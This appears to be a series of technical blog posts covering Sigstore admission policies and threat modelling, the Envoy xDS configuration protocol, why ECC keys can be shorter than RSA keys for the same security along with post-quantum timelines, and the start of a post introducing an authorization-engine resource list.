The SBOM Attestations we covered previously can also be enforced here. You can write custom policies in CUE or Rego.

apiVersion: policy.sigstore.dev/v1beta1
kind: ClusterImagePolicy
metadata:
  name: require-vuln-scan-passed
spec:
  images:
    - glob: "ghcr.io/myorg/**"
  authorities:
    - keyless:
        url: https://fulcio.sigstore.dev
        identities:
          - issuer: "https://token.actions.githubusercontent.com"
            subject: "https://github.com/myorg/myrepo/.github/workflows/build.yml@refs/heads/main"
      attestations:
        - name: vuln-scan
          predicateType: https://cosign.sigstore.dev/attestation/vuln/v1
          policy:
            type: cue
            data: |
              predicateType: "cosign.sigstore.dev/attestation/vuln/v1"
              predicate: {
                scanner: {
                  result: "PASSED"
                }
              }

This policy creates an ironclad rule: "Only deploy images that have a cryptographically signed Attestation proving they passed the vulnerability scanner." You can literally enforce this at the Kubernetes Admission Webhook level.

9. Expanding the Ecosystem: Beyond Containers

Sigstore cut its teeth on container images, but as of 2026, its reach has exploded.

PyPI (Python): Sigstore-based attestations hit GA in November 2024. Projects using Trusted Publishing (GitHub Actions OIDC to PyPI) automatically get Sigstore signatures applied with zero workflow changes. Currently, ~5% of the top 360 packages are on board, pumping over 20,000 attestations.

npm (Node.js): Trusted Publishing went GA in July 2025. Publishing via OIDC automatically attaches a Sigstore provenance attestation to the package.

Maven Central (Java): Rolled out native support for Sigstore signatures in January 2025.

Rekor Monitor: OpenSSF is actively hardening Rekor Monitor for production use. It handles Rekor v2, certificate validation, and TUF integration. We've already seen cases where malicious package releases were caught purely by monitoring Rekor logs.

10. Threat Modeling: What Breaks When Things Go Wrong?

Sigstore is a powerhouse, but it's not magic. Here is a breakdown of what happens if its core components get compromised, and the mitigations in place.

Threat	Impact	Mitigation
OIDC Provider Compromise	Rogue ID Tokens mint certs under someone else's identity.	CT Logs record all certs. Identity owners can spot anomalies by monitoring the logs.
Fulcio CA Compromise	Attacker mints arbitrary certificates.	Unlogged certs are rejected by clients. The community monitors CT logs to catch it.
Rekor Compromise	Logs altered or fake entries injected.	Blocked by v2 native Witnessing, Merkle consistency proofs, and signed Root Hashes.
TUF Root Compromise	The entire root of trust is swapped out.	Requires compromising 3-of-5 hardware keys. Audited via highly public Key Ceremonies.
Ephemeral Key Theft	Attackers forge signatures.	Keys live in RAM for seconds. Cert dies in 10 minutes. The signature must already be in Rekor.

The brilliance here is that a single component failure does not cause a systemic collapse. If Fulcio goes rogue, the CT Log catches it. If Rekor is compromised, the Witnesses catch it. If the OIDC provider is breached, log monitoring catches it.

11. Legacy PKI vs. Sigstore

Let's wrap up by comparing Sigstore against legacy code-signing PKI.

Aspect	Legacy Code Signing PKI	Sigstore
Key Management	Hoard keys in HSM/Vault forever.	Generate ephemerally, wipe instantly. Zero management.
Identity	Tied to an organization (costs money, requires corporate entity).	Tied to your OIDC ID (Google/GitHub, free).
Cert Lifespan	Years. Requires complex CRL/OCSP.	10 minutes. Revocation is obsolete.
Cost	Commercial CAs: $200-$500+/year.	Free (Public Good Instance).
Transparency	None. Completely opaque.	Every signature immortalized in Rekor.
Verification UX	You have to manually fetch the signer's public key.	Just specify the `identity` and `issuer`.
OSS Compatibility	Terrible. No corporate entity, key distribution nightmare.	Flawless. Uses developer IDs, perfectly automatable in CI.

Legacy PKI asked, "Do you trust this specific key?" Sigstore fundamentally shifts this to, "Do you trust this specific identity, at this exact point in time?" Transparency logs deliver the temporal proof, and short-lived certificates eradicate the nightmare of key lifecycle management.

12. Conclusion

We just tore apart the engine that makes cosign sign feel like magic.

Fulcio verifies your OIDC ID Token and mints a certificate that self-destructs in 10 minutes. It logs everything to a CT Log, meaning CA compromises can't hide.
Rekor forces every signing event into an immutable Merkle Tree. Inclusion proofs and signed timestamps permanently testify that the signature happened while the cert was alive.
TUF defends the root of trust with 3-of-5 threshold signatures and chained verification. Even a hacked CDN can't force-feed you a fake root cert.
Hook this into the GitHub Actions OIDC Provider, and you get completely automated, headless CI/CD signing.
Slap down Policy Controller on your cluster, and you establish a hard deployment gate.

They call Sigstore the "Let's Encrypt of code signing." Just like Let's Encrypt made HTTPS the default, Sigstore is turning ubiquitous code signing into the new standard. The fact that npm, PyPI, and Maven Central are aggressively adopting it proves the momentum is real.

The next time you hit cosign sign, take a second to appreciate the insane engineering behind it. Fulcio minting a 10-minute cert, Rekor hashing the log into a Merkle tree, and TUF stubbornly defending the root—all so you can throw your keys into the void.

xDS Deep Dive: Dissecting the "Nervous System" of the Service Mesh

kt — Mon, 20 Apr 2026 15:40:41 +0000

Introduction

I was debugging Istio routing the other day, and honestly, I had a moment where I felt a bit "creeped out."

You tweak a VirtualService YAML file, hit kubectl apply, and within seconds, the routing rules across hundreds of Envoy proxies scattered throughout the cluster switch over perfectly.

There's no process restart. You aren't running nginx -s reload. Rolling out configuration changes to thousands of hosts happens in seconds, and even if you push a completely broken YAML, it magically rolls back to a safe state on its own.

It feels like magic, but naturally, there's an incredibly gritty mechanism running behind the scenes. That mechanism is xDS (xDiscovery Service).

You might think of it as just "Envoy's config protocol," but xDS has long escaped Envoy's borders. Today, it's standardized as the "Universal Data Plane API" (the lingua franca of L4/L7 networking) by the CNCF xDS API Working Group, heavily used by gRPC (Proxyless) and Cilium's ztunnel. As of 2026, it is the absolute most important protocol to understand if you want to talk about service mesh.

We are going to read through this from top to bottom—covering why static configuration is a nightmare, the dependency chain of LDS/RDS/CDS/EDS, and the ACK/NACK rollback mechanism that saves us from outages.

0. Prerequisites: Why use an "API" to push configurations?

Envoy and Protocol Buffers

The decisive difference between Envoy and traditional reverse proxies like Nginx or HAProxy is that Envoy was built from the ground up on the premise that configuration will be injected externally, in real-time, via gRPC.

Envoy doesn't do service discovery on its own. The control plane (like Istio's istiod) watches Kubernetes Pods and Services, translates them into strongly-typed Protocol Buffers (proto3) messages that Envoy understands, and streams them over HTTP/2 gRPC. By using gRPC streaming instead of JSON polling, it achieves incredibly low latency and type safety.

1. The Despair of Static Configuration and the Awakening of xDS

If you were to configure Envoy statically, you’d end up writing an envoy.yaml file like this:

static_resources:
  listeners:
  - name: my_listener
    address:
      socket_address: { address: 0.0.0.0, port_value: 8080 }
    # ...filter configs...
  clusters:
  - name: my_backend
    type: STRICT_DNS
    load_assignment:
      cluster_name: my_backend
      endpoints:
      - lb_endpoints:
        - endpoint:
            address:
              socket_address: { address: 10.0.1.15, port_value: 8080 }

In the idyllic days when you only had 10 Pods, this was fine. But in today's Kubernetes environments, Pods scale every second, they fluctuate due to HPA, and IPs change constantly as nodes are retired. Every time a backend IP changes, are you going to rewrite the config files for all proxies and restart their processes? That's pure insanity. Connections would drop, latency would spike, and the system would collapse.

That is exactly why dynamic configuration (xDS) is mandatory.

With xDS, Envoy can seamlessly start routing traffic to new Pod IPs with absolutely zero restarts.

2. The Core 5 Discovery Services

The "x" in xDS is a wildcard. The protocol is heavily segmented into five major services (APIs) based on the scope of the configuration.

These aren't just parallel configuration items—they have strict dependencies (pointers) on one another. Grasping this dependency chain is step one to mastering xDS.

LDS (Listener): Which port should we listen on?
RDS (Route): Which path routes to where?
CDS (Cluster): What are the connection settings for the destination service?
EDS (Endpoint): What are the actual IP addresses of that service?
SDS (Secret): What certificate data (e.g., for TLS termination) do we need?

Let's look at how they point to each other at the YAML/code level.

① LDS → Pointing to RDS

LDS creates the entry point, defining "Listen for HTTP on port 8080." However, instead of hardcoding IP destinations for the traffic, it embeds a reference (name) to the RDS.

# Data streamed from LDS (Listener Discovery Service)
name: my_listener
address:
  socket_address: { address: 0.0.0.0, port_value: 8080 }
filter_chains:
- filters:
  - name: envoy.filters.network.http_connection_manager
    typed_config:
      rds:
        route_config_name: my_routes  # ← [KEY] Refers to RDS resource "my_routes"

② RDS → Pointing to CDS

RDS is the "signboard." Called up by LDS as my_routes, this config evaluates HTTP paths or headers and returns a logical cluster name (a reference to CDS). Istio's VirtualService gets translated into this layer.

# Data streamed from RDS (Route Discovery Service)
name: my_routes
virtual_hosts:
- name: api_host
  domains: ["api.example.com"]
  routes:
  - match: { prefix: "/v1/" }
    route: { cluster: api-v1-cluster }  # ← [KEY] Refers to CDS resource "api-v1-cluster"

③ CDS → Pointing to EDS

CDS defines the nature of the designated cluster. It determines the load balancing algorithm (Round Robin, etc.) and circuit breaker thresholds. This is the domain of Istio's DestinationRule.

It still doesn't write down specific IP addresses here; it delegates the final resolution to EDS.

# Data streamed from CDS (Cluster Discovery Service)
name: api-v1-cluster
type: EDS                           # ← [KEY] Declares we will fetch endpoints dynamically via EDS
eds_cluster_config:
  eds_config: { ads: {} }           # (Requests EDS via ADS)
lb_policy: ROUND_ROBIN

④ Touching Down at EDS

Finally, EDS returns the actual IP addresses of the Pods tied to that cluster. Because clusters scale up and down, EDS is the most aggressively updated component in xDS.

# Data streamed from EDS (Endpoint Discovery Service)
cluster_name: api-v1-cluster
endpoints:
- lb_endpoints:
  - endpoint:
      address:
        socket_address: { address: 10.0.1.15, port_value: 8080 }  # ← Actual IP
  - endpoint:
      address:
        socket_address: { address: 10.0.1.22, port_value: 8080 }  # ← Actual IP

⑤ Encrypting via SDS (mTLS) and Zero-Downtime Rotation

Once the destination IP is pinned down, we don't just blindly fire the packet. In modern service meshes, mTLS (mutual TLS) encryption between Pods is mandatory. This is where SDS (Secret Discovery Service) steps onto the stage.

Inside the CDS definition, it dictates "use this specific TLS context when talking to this cluster." Envoy then uses SDS to dynamically fetch the certificate (SVID) and private key straight into memory.
What's spectacular here is certificate rotation. Before a certificate expires, you historically had to restart the web server process. With SDS, the microsecond a new certificate is issued, it is flashed into memory via xDS, enabling 100% zero-downtime, automated certificate rotation. Because this is highly sensitive secret data, this specific stream is strictly gated and protected.

# Conceptual data streamed from SDS (Secret Discovery Service)
name: default
tls_certificate:
  certificate_chain: { inline_string: "-----BEGIN CERTIFICATE-----\n..." }
  private_key: { inline_string: "-----BEGIN PRIVATE KEY-----\n..." }

In short, a packet perfectly traces the configuration pointers in the exact order of LDS → RDS → CDS → EDS (+ SDS), encrypts itself, secures routing, and takes flight.

You must never forget this "dependency order." It is the exact reason why ADS (Aggregated Discovery Service), which we'll discuss later, exists.

3. Surviving Broken Configs: The ACK/NACK Flow

In an architecture where dynamic configs are blasted out to thousands of proxies, pushing a "bad config" causes apocalyptic damage. What happens if the control plane sends a malformed JSON or a conflicting route setting?

Does Envoy bug out and crash? ...Absolutely not.
xDS is armed with a fiercely robust rollback mechanism called "NACK" (Negative Acknowledgement).

xDS communication is a bidirectional gRPC stream. When a DiscoveryResponse arrives from the control plane, Envoy attempts to apply it. It then packages the result into a DiscoveryRequest and shoots it back to the control plane.

The absolute beauty of this design is that even if a NACK occurs, Envoy's stream does NOT sever; it just keeps humming along using the last-known-good config (v1).
Even if an operator brutally applies a flawed VirtualService to Kubernetes, Envoy essentially says "screw this," returns a NACK, and existing traffic doesn't drop a single millisecond. It simply waits idly for a corrected config to be pushed.

Two control fields are the key players here: nonce and version_info.

nonce: A simple ID that says, "Hey, which specific update payload are you giving me the validation result for?"
version_info: The factual state that says, "As a result, what version of the config am I currently running?"

If Envoy simply parrots back the latest version_info the server sent, it's categorized as an "ACK (Success)." If it returns an older version number, the server realizes it's a "NACK (Failure)." It’s brilliantly simple, yet ruthlessly effective.

4. Why We Need ADS (Aggregated Discovery Service)

Earlier, I mentioned that LDS → RDS → CDS → EDS share a strict dependency chain.

What would happen if you subscribed to these four APIs via completely separate gRPC streams asynchronously from the control plane? Naturally, due to network latency or processing timing, their arrival order would scramble.

Imagine the worst-case scenario.
A new RDS (route setting) arrives first. It says, "route traffic to cluster-B". Envoy eagerly updates its settings and tries to shove traffic towards cluster-B. However, the streams for CDS and EDS (the actual definition and IPs of cluster-B) are lagging slightly behind and haven't hit Envoy yet.

As a result, Envoy concludes "the destination cluster doesn't exist" and starts aggressively throwing 503 Service Unavailable errors. A service mesh where 503s run rampant every time a configuration changes is completely unusable.

The Fix: Bundling the Streams (ADS)

To prevent this "temporary inconsistency in an eventually consistent system," ADS (Aggregated Discovery Service) was forged.

ADS multiplexes (aggregates) the requests and responses for ALL xDS resource types (LDS/RDS/CDS/EDS) into a single solitary gRPC stream.

By bundling everything into one stream, the control plane gains the ability to enforce perfect Sequencing: "I will force Envoy to apply CDS/EDS first, and I won't send RDS until I get the ACKs back."
Istio's control plane (istiod) uses this ADS approach by default to stream configurations safely.

5. SotW vs Delta: Taming the Infinite Endpoint Explosion

Looking back at the history of xDS brings us to another massive evolutionary fork: how the configs are sent.

The Limits of State of the World (SotW)

Early xDS utilized a model called SotW (State of the World). When Envoy asks "Tell me the current endpoints," the server responds by sending back "the entire, exhaustive list of endpoints" every single time.

Let's assume you have a cluster of 1,000 Pods, and a single Pod scales out, making it 1,001.
In the SotW model, istiod beams out the full list of 1,001 IP addresses to every single Envoy proxy. The 1,000 unmodified records are re-transmitted entirely. This is a colossal waste of network bandwidth and CPU horsepower. Once your cluster scales large enough, the control plane literally chokes and dies.

The Dawn of Incremental (Delta) xDS

This crisis birthed Delta xDS.
When returning subscription requests, the server now sends "only the diff from the last state (added IPs, removed IPs)."

SotW: [IP_A, IP_B, IP_C] (If B is deleted, it resends [IP_A, IP_C]. Items missing from the list are implicitly assumed deleted.)
Delta: removed_resources: ["IP_B"] (Explicitly sends ONLY the deletion directive.)

Because the server must maintain an in-memory cache tracking the individual state of every single client, the backend implementation becomes drastically more complex. However, the performance gains are monumental. Modern service meshes circa 2026 (like recent versions of Istio) securely default to Delta xDS.

6. Beyond Routing: Advanced xDS Use Cases

When discussing xDS, it's impossible to ignore the fact that xDS is no longer an "Envoy-exclusive routing protocol." As of 2026, the xDS ecosystem has wildly expanded beyond basic routing and breached into non-Envoy clients.

6.1 Dynamic Injection of Extensions (ECDS)

ECDS (Extension Config Discovery Service) is a mechanism to dynamically push "extension filters" (like WebAssembly) directly into Envoy.
For example, you write a proprietary Wasm module that applies custom obfuscation to a specific HTTP header, and you stream it via ECDS. This lets you hot-reload and inject brand-new Wasm modules into every proxy safely, while they are running, without touching LDS or RDS at all.

6.2 Streaming Runtime Variables (RTDS)

RTDS (Runtime Discovery Service) skips routing altogether and instead streams "runtime variables" (think of it as a virtual file system).
Need to flip a new feature ON/OFF (feature toggles) or temporarily throttle a specific user's rate limits? You use RTDS. It instantly propagates single variable tweaks to thousands of proxies without forcing an application rebuild or redeploy.

6.3 Building Proprietary Control Planes (`go-control-plane`) & Case Studies

Because the xDS specs are fully open (defined in Protobuf), it's highly common for massive-scale environments to ditch off-the-shelf products like Istio and build their very own bespoke xDS control planes.

Libraries provided by the Envoy project, like go-control-plane, shoulder the agonizing implementation burdens of operating an xDS gRPC server (handling streams, snapshot caching, etc.). By wiring this up, companies can construct proprietary control planes that use "internal corporate databases" as the Source of Truth, governed by heavily customized business logic.

Tech Giant Case Studies:
For companies wrestling with horribly complex "brownfield" infrastructure, these custom control planes are a lifeline.

Stripe: They operate an internal service mesh using HashiCorp Consul as the Source of Truth for service discovery. They built a custom control plane that snags data from Consul, compiles it into xDS parameters, and streams it to Envoy.
Netflix: To manage their astronomical fleet of microservices, Netflix built a custom foundation fused with Eureka (their service registry). By aggressively utilizing On-Demand Cluster Discovery (ODCDS), they dynamically inject only the settings Envoy actually needs, shattering the scaling boundaries of giant clusters.
Airbnb / Uber: They bake custom logic into their bespoke control planes to rein in legacy, non-containerized workloads that refuse to submit to Kubernetes, and to shove highly specialized, company-specific L7 routing logic straight into the proxy tier.

The meta isn't just "deploy Istio and call it a day." It’s "translate your company's proprietary domain logic into xDS, the universal language, and stream it." That is the absolute frontline of the service mesh today.

6.4 The "Proxyless gRPC" Paradigm

The ultimate evolution of this is Proxyless gRPC.
Instead of deploying an Envoy (sidecar) next to your application, the gRPC library itself seamlessly acts as an xDS client.

By generating a gRPC channel using the unique xds:///my-service URI scheme, the gRPC library quietly connects to the control plane (like istiod) under the hood, pulls down EDS configs, and blasts direct HTTP/2 requests right to the optimal Pod from within your own application process.
Because you bypass the sidecar entirely, you prune network hops, slashing latency and devouring far less CPU. This is the true essence of xDS earning the title "Universal Data Plane API".

Conclusion

Behind the wizardry of an infrastructure that magically swaps over seconds after you smash kubectl apply, lies this heavily gritty, battle-tested mechanism.

The rigid hierarchy of LDS/RDS/CDS/EDS enforcing dependencies.
The indestructible ACK/NACK flow shielding the system from crippled configurations.
The sequencing and stream multiplexing of ADS preventing nasty 503 hiccups.
And the adoption of Delta xDS breaking the chains of scalability limits.

It is precisely because these gears mesh in such miraculous balance that we get to casually enjoy things like "zero downtime traffic shifting" and "canary releases."
xDS is no longer just Envoy's internal protocol. It is the absolute, most vital "nervous system" anchoring modern, cloud-native network architecture.

References

Why Can We Use "Shorter" Keys?: Key Length vs Security Bits, the Real Story

kt — Sun, 19 Apr 2026 15:50:50 +0000

"ECDSA P-256 has shorter keys than RSA-2048. So it must be weaker."

...I used to think that too.

2048 bits vs 256 bits. Just looking at the numbers, RSA seems 8x "stronger." But NIST (the National Institute of Standards and Technology) treats these two as equal in security strength.

On top of that, RSA-2048's actual security does not even reach "128-bit security." It sits at 112 bits, and it is getting deprecated in 2030. Meanwhile, P-256 properly achieves 128-bit security.

So the shorter key is actually stronger. The concept behind this counterintuitive fact is called "security bits."

This article covers why "key length" and "actual security" do not match up, from the mathematical foundations all the way to the 2026 transition timeline.

1. Background: Symmetric vs Public Key Cryptography

There are two fundamental types of cryptography. Without understanding this distinction, key length discussions will never make sense.

Symmetric Key Cryptography: Uses the same key for both encryption and decryption. The canonical example is AES (Advanced Encryption Standard). Both sender and receiver need to share the same key. It is fast, and it is what actually encrypts your data. WiFi (WPA2/3) and disk encryption (BitLocker, FileVault) all use this.

Public Key Cryptography: Uses a pair of different keys for encryption and decryption. The main examples are RSA and ECC (Elliptic Curve Cryptography). You can hand out the public key to anyone, but only the corresponding private key can decrypt. Key distribution is easy, so it is used for TLS (HTTPS) key exchange and digital signatures. The downside is that it is computationally expensive.

In practice, HTTPS combines both. Public key crypto handles "securely exchanging a key," then symmetric crypto handles "encrypting data fast."

Now here is the thing. These two types of cryptography require completely different key lengths.

2. "Key Length" and "Security Bits" Are Different Things

Let me clarify the terminology.

Key Length: The number of bits in the key data that the algorithm uses. RSA-2048 uses 2048 bits, AES-128 uses 128 bits.
Security Bits (Security Strength): The computational effort required to break the cipher, expressed as a power of 2.

"128-bit security" means that even the best known attack requires roughly $2^{128}$ operations. $2^{128}$ is about 3.4 x $10^{38}$. Even if you threw every supercomputer on Earth at it, you could repeat the entire age of the universe (about 13.8 billion years) trillions of times over and still not finish. It is basically the threshold for "cannot be broken in practice."

Here is the biggest source of confusion: key length ≠ security bits.

AES-128 has 128-bit security. Key length and security bits happen to match.
But RSA-2048 only has 112-bit security. Despite having a 2048-bit key, its effective strength is only 112 bits.

Why does this happen?

3. Each Cipher Has Different Attack "Shortcuts"

Breaking a cipher is not just about trying every possible key (brute force). Some algorithms have much more efficient attack methods. The existence and efficiency of these "shortcuts" determine the key length each algorithm needs.

AES: No shortcuts, so key length = security bits

The best known attack against AES is essentially brute force. For AES-128, you need to try all $2^{128}$ possible keys. That is why key length directly equals security bits.

RSA: Integer factorization is a powerful shortcut

RSA's security relies on the assumption that "factoring a huge number $N$ is hard."

$N$ is the product of two large primes $p$ and $q$ ($N = p \times q$). If you can find $p$ and $q$, you can compute the private key, but if $N$ is large enough, factoring should take an impractical amount of time... or so the idea goes.

The problem is that there exists an efficient algorithm for integer factorization called the General Number Field Sieve (GNFS). Thanks to GNFS, the effort to break RSA-2048 drops from $2^{2048}$ (brute force) down to roughly $2^{112}$.

Think of it this way. If you tried every combination on a 2048-digit safe one by one, it would take an astronomical amount of time. But GNFS is like "analyzing the safe's internal structure to dramatically narrow down the combinations." The key is 2048 bits, but the effective defense is only 112 bits.

ECC: Has shortcuts, but they are far less efficient than RSA's

ECC (Elliptic Curve Cryptography) relies on the "Elliptic Curve Discrete Logarithm Problem (ECDLP)."

I will skip the detailed math, but the key point is this: the best attack against ECC (Pollard's rho) requires computation proportional to half the key length. For P-256 (256-bit key), that means $2^{128}$ operations, which gives you 128-bit security.

Digging a bit deeper, this difference comes from a gap in computational complexity. GNFS runs in sub-exponential time, meaning that even as you make keys longer, the attack cost grows sluggishly. Pollard's rho against ECC, on the other hand, runs in exponential time, specifically $O(\sqrt{N})$. Each extra bit in the key doubles the attack cost.

In concrete numbers: RSA-2048 goes from 2048 bits to 112-bit security (roughly 1/18), RSA-3072 goes from 3072 bits to 128 bits (roughly 1/24), and RSA-15360 goes from 15360 bits to 256 bits (roughly 1/60). The longer the key, the worse the "decay ratio" gets. This is a direct consequence of GNFS being sub-exponential: the growth in attack cost cannot keep up with the cost of making keys longer. ECC stays at 1/2 regardless. This mathematical gap is what makes "ECC is secure with short keys" possible.

RSA has the longer key but the lower security bits. That is how big the difference in attack efficiency is.

4. Equivalent Security Key Lengths (NIST SP 800-57)

So how do these differences in attack efficiency translate to actual key lengths? NIST SP 800-57 Part 1 defines a security strength equivalence table, and it is the industry standard as of 2026.

Security Bits	Symmetric (AES)	RSA (Key)	ECC (Key)	Hash (SHA)	Status
80	-	1024	160	SHA-1	❌ Prohibited
112	-	2048	224	SHA-224	⚠️ Deprecated by 2030
128	AES-128	3072	256	SHA-256	✅ Current minimum
192	AES-192	7680	384	SHA-384	✅ Recommended
256	AES-256	15360	512+	SHA-512	✅ Long-term protection

Read this table horizontally. Every entry in the same row provides the same security.

Look at the 128-bit security row: AES needs 128 bits, ECC needs 256 bits, and RSA needs 3072 bits. RSA requires 12x the key length of ECC and 24x that of AES for the same security level. At 192-bit security, RSA-7680 is needed, and that causes serious performance issues in TLS handshakes.

The most important row right now is 112 bits. That is where RSA-2048 lives. It does not meet the current minimum recommendation of 128-bit security.

5. RSA-2048 Gets Deprecated in 2030

By now you know that RSA-2048 only provides 112-bit security. But it is not getting disabled overnight. NIST has defined a phased transition schedule.

NIST Transition Timeline

NIST IR 8547 (published November 2024) lays out the concrete timeline.

When	Status	Scope	What it means
2030	Deprecated	RSA-2048 and other ≤112-bit algorithms	No new deployments. Existing systems need a migration plan.
2035	Disallowed	RSA-3072/4096, P-256, P-384, and all quantum-vulnerable public key crypto	Completely prohibited in FIPS-compliant systems.

Take a close look at the 2035 row. RSA-3072, P-256, P-384: algorithms that are currently "recommended" will all be prohibited. This is not about security bits. It is about quantum computers breaking the algorithms at a fundamental level. The next section explains why making keys longer will not help.

The Gap Between 112 and 128 Bits Is Not "Just 16"

You might think "112 vs 128, that is only 16 apart." But in security bits, the difference is exponential.

$2^{128} \div 2^{112} = 2^{16} = 65,536$

An attacker capable of breaking 112-bit security would need 65,536 times more computation to break 128-bit security. Put another way, 112-bit security is only $\frac{1}{65536}$ as hard to break as 128-bit.

RSA-2048 is not going to be cracked tomorrow, not in 2026. But computing power improves every year. If you are encrypting data today with RSA-2048 that would be damaging if decrypted in 10 or 20 years (medical records, intellectual property, diplomatic communications), it is time to start thinking about migration.

6. Quantum Computers: Why Longer Keys Will Not Save You

In section 5, I wrote that RSA-3072 and P-384 will be prohibited by 2035. If longer keys mean more security bits, why ban them?

The answer is quantum computers. Quantum computers affect cryptography in two ways, and they are fundamentally different from each other.

Shor's Algorithm: Breaks Public Key Crypto at the Root

Shor's algorithm solves integer factorization and the discrete logarithm problem in polynomial time.

For RSA, this means the assumption that "factoring $N$ is astronomically hard" simply collapses. The discrete logarithm problem behind ECC falls the same way. No matter how long you make the key, the fundamental assumption the algorithm relies on is gone. Upgrade to RSA-4096, RSA-15360, it makes no difference against Shor.

This is why "all quantum-vulnerable public key crypto is prohibited by 2035." It is not a key length issue. You have to change the algorithm itself.

Grover's Algorithm: Halves Symmetric Crypto Security

Grover's algorithm speeds up brute-force search from $2^n$ to $\sqrt{2^n} = 2^{n/2}$.

Symmetric Cipher	Classical Security	Quantum Security	Verdict
AES-128	128 bit	→ 64 bit	❌ Not enough
AES-192	192 bit	→ 96 bit	⚠️ Marginal
AES-256	256 bit	→ 128 bit	✅ Sufficient

One caveat, though. These numbers assume Grover's algorithm running under ideal conditions. Actually attacking AES-128 with Grover would require tens of millions of logical qubits, which is orders of magnitude beyond current quantum computers (which have a few thousand physical qubits at best). Still, for long-term security, moving to AES-256 is the safe bet.

The crucial difference from Shor is that Grover can be countered by using longer keys. AES-256 maintains 128-bit security even against quantum computers. No need to change the algorithm. Just use longer keys.

This is why NIST is saying "use AES-256, use SHA-384 or above."

7. Harvest Now, Decrypt Later: Today's Data, Broken Tomorrow

"Practical quantum computers are still years away, right?"

That is the most dangerous assumption. There is an attack model called Harvest Now, Decrypt Later (HNDL).

Attackers intercept encrypted data now and store it, then decrypt it once quantum computers become viable. The NSA and CISA have warned that nation-state actors are already in this "collection phase."

The critical question is: how long does your data need to stay confidential? If a medical record encrypted today gets decrypted 20 years from now, that is a real data breach. Before quantum computers arrive, long-lived sensitive data needs to be re-protected with quantum-resistant methods.

8. Post-Quantum Cryptography (PQC) Key Sizes

So what cryptography can actually withstand quantum computers? In August 2024, NIST officially published three post-quantum cryptography standards.

ML-KEM (FIPS 203): Key Encapsulation

Formerly known as CRYSTALS-Kyber. Replaces RSA key exchange and ECDH.

Parameter	Security	Public Key	Ciphertext
ML-KEM-512	AES-128 equiv.	800 bytes	768 bytes
ML-KEM-768	AES-192 equiv.	1,184 bytes	1,088 bytes
ML-KEM-1024	AES-256 equiv.	1,568 bytes	1,568 bytes

ML-DSA (FIPS 204): Digital Signatures

Formerly known as CRYSTALS-Dilithium. Replaces RSA signatures and ECDSA.

Parameter	Security	Public Key	Signature
ML-DSA-44	AES-128 equiv.	1,312 bytes	2,420 bytes
ML-DSA-65	AES-192 equiv.	1,952 bytes	3,309 bytes
ML-DSA-87	AES-256 equiv.	2,592 bytes	4,627 bytes

SLH-DSA (FIPS 205): Hash-Based Signatures

Formerly known as SPHINCS+. Positioned as a backup for ML-DSA. It relies on a different mathematical foundation (hash functions) than the lattice-based ML-DSA, so it serves as insurance in case a vulnerability is found in ML-DSA.

Comparing Legacy Crypto and PQC Key Sizes

This is where PQC hurts. Quantum resistance comes at the cost of larger keys and signatures.

	ECDSA P-256	RSA-3072	ML-DSA-65
Public Key	64 bytes	384 bytes	1,952 bytes
Signature	64 bytes	384 bytes	3,309 bytes
Security	128 bit	128 bit	192 bit (quantum-resistant)

ML-DSA-65's public key is roughly 30x that of ECDSA P-256. This directly impacts TLS handshake sizes and certificate chains. That is why hybrid approaches (combining legacy crypto + PQC) are currently recommended. The transition will be gradual, not a full switchover all at once.

9. What to Do in 2026

Theory is great. But what should you actually do?

Start with a Crypto Inventory

Figuring out what your systems are currently using is step one.

# Check your server's TLS certificate
echo | openssl s_client -connect example.com:443 2>/dev/null \
  | openssl x509 -noout -text \
  | grep -E "Public Key Algorithm|Public-Key"

# Check your SSH keys
for key in ~/.ssh/id_*; do
  ssh-keygen -l -f "$key" 2>/dev/null
done

What to check:

Are your TLS certificates using ECDSA (P-256 or above)? If they are still RSA-2048, start planning the migration.
Are your SSH keys Ed25519? If they are still RSA-2048, regenerate them with ssh-keygen -t ed25519.
Are your JWT signatures using ES256 / EdDSA? If RS256, consider switching.
Are you using AES-256 for symmetric encryption? Migrate long-lived data from AES-128.

Build Crypto Agility into Your Architecture

No cryptographic algorithm lasts forever. RSA and ECC both have expiration dates.

The important thing is to not hardcode algorithms. Make them configurable via config files or environment variables so that when NIST publishes new recommendations, you can switch with a config change. If you have to rewrite code and redeploy to every environment, you are looking at months of work.

Combined with shorter certificate lifetimes (SC-081v3 brings the max down to 47 days by 2029), you can automatically switch algorithms at the next renewal cycle. If you are already auto-renewing certificates with ACME, the PQC transition is a natural extension of that.

Takeaways

Key length and security bits are different things. AES-128 has 128-bit security, but RSA-2048 only has 112. The efficiency of the best known attack against each algorithm determines how many key bits it actually needs.
Why ECC gets away with short keys. GNFS against RSA runs in sub-exponential time, and the security decay ratio gets worse with longer keys (roughly 1/18 for RSA-2048, roughly 1/60 for RSA-15360). Pollard's rho against ECC stays at 1/2 regardless, so short keys provide equal or better security.
RSA-2048 gets deprecated in 2030. Per NIST IR 8547. By 2035, all quantum-vulnerable public key crypto, including RSA-3072, P-256, and P-384, will be prohibited.
Quantum computers are not a key length problem. Shor's algorithm destroys RSA and ECC at the algorithmic level. Longer keys do not help. Migration to post-quantum crypto (ML-KEM, ML-DSA) is required.
Grover's algorithm can be handled with longer keys. It halves AES security, but AES-256 still maintains 128-bit security.
Run a crypto inventory now. Know what your systems are using and build in crypto agility.

References

Why I Built awesome-authorization: Mapping the World of Auth Engines onto a Single Page

kt — Sat, 18 Apr 2026 15:16:48 +0000

Introduction

"Which authorization engine should I use?"

Very few people can answer this instantly. OPA, Cedar, OpenFGA, SpiceDB, Casbin, Cerbos... That’s six just off the top of my head. They are based on entirely different access control models (RBAC, ABAC, ReBAC), with different design philosophies and use cases.

I've always been an auth nerd. I wrote an AuthZEN-compatible plugin for OPA, read through the SPIFFE/SPIRE implementations, and deep-dived into the Google Zanzibar paper. Through all of this, I realized something: There is no single place to get a bird's-eye view of the entire authorization landscape.

A repository called awesome-authorization already existed. However, it was mostly a collection of articles and concepts—it didn't answer the practical question of "What engines actually exist and how do they differ?". With AuthZEN 1.0 officially approved, the authorization space is moving fast, but the information is too scattered to track.

So, I built one.

awesome-authorization : A curated list of tools, frameworks, standards, and learning resources for authorization and access control.

In this post, I want to explain why this list needed to exist and map out the state of authorization engines in 2026.

1. Setting the Stage: PEP vs. PDP

Before looking at the engines themselves, let's clarify where authorization sits within the architecture and what exactly an authorization engine—or Policy Decision Point (PDP)—does.

Authentication (Who are you?) → Token Issuance → Authorization (What can you do?) → Resource Access. In this flow, the authorization engine (PDP) and the AuthZEN API are strictly responsible for step 4: "Query AuthZ Decision."

